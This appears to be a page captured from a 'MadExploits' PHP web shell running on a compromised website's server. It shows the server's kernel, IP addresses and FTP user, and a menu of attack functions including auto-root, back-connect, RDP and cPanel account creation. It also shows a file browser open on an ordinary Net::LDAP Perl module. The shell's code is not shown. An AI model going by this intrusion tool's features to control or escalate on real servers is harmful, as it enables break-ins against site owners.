Linux server.thearyasamaj.org 4.18.0-553.56.1.el8_10.x86_64 #1 SMP Tue Jun 10 05:00:59 EDT 2025 x86_64
Apache
: 103.90.241.146 | : 216.73.216.158
Cant Read [ /etc/named.conf ]
5.6.40
ftpuser@mantra.thearyasamaj.org
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
share /
perl5 /
vendor_perl /
Net /
LDAP /
Extension /
[ HOME SHELL ]
Name
Size
Permission
Action
Cancel.pm
2.57
KB
-rw-r--r--
Refresh.pm
2.74
KB
-rw-r--r--
SetPassword.pm
3.64
KB
-rw-r--r--
WhoAmI.pm
1.51
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : WhoAmI.pm
package Net::LDAP::Extension::WhoAmI; require Net::LDAP::Extension; our $VERSION = '0.02'; our @ISA = qw(Net::LDAP::Extension); sub Net::LDAP::who_am_i { my $ldap = shift; my %opt = @_; my $res = $ldap->extension( name => '1.3.6.1.4.1.4203.1.11.3', %opt ); return $res; } 1; __END__ =head1 NAME Net::LDAP::Extension::WhoAmI - LDAP "Who am I?" Operation =head1 SYNOPSIS use Net::LDAP; use Net::LDAP::Extension::WhoAmI; $ldap = Net::LDAP->new( "ldap.mydomain.eg" ); $ldap->bind('cn=Joe User,cn=People,dc=example,dc=com", password => 'secret'); $mesg = $ldap->who_am_i(); die "error: ", $mesg->code(), ": ", $mesg->error() if ($mesg->code()); print "you are bound with authzId ", $mesg->response(), "\n"; =head1 DESCRIPTION C<Net::LDAP::Extension::WhoAmI> implements the C<Who am I?> extended LDAPv3 operation as described in RFC 4532. It implements no object by itself but extends the L<Net::LDAP> object by another method: =head1 METHODS =over 4 =item who_am_i Obtain the authorization identity which the server has associated with the user or application entity. =back =head1 SEE ALSO L<Net::LDAP>, L<Net::LDAP::Extension> =head1 AUTHOR Norbert Klasen E<lt>norbert.klasen@avinci.deE<gt>, Please report any bugs, or post any suggestions, to the perl-ldap mailing list E<lt>perl-ldap@perl.orgE<gt> =head1 COPYRIGHT Copyright (c) 2002-2004 Graham Barr. All rights reserved. This program is free software; you can redistribute it and/or modify it under the same terms as Perl itself. =cut
Close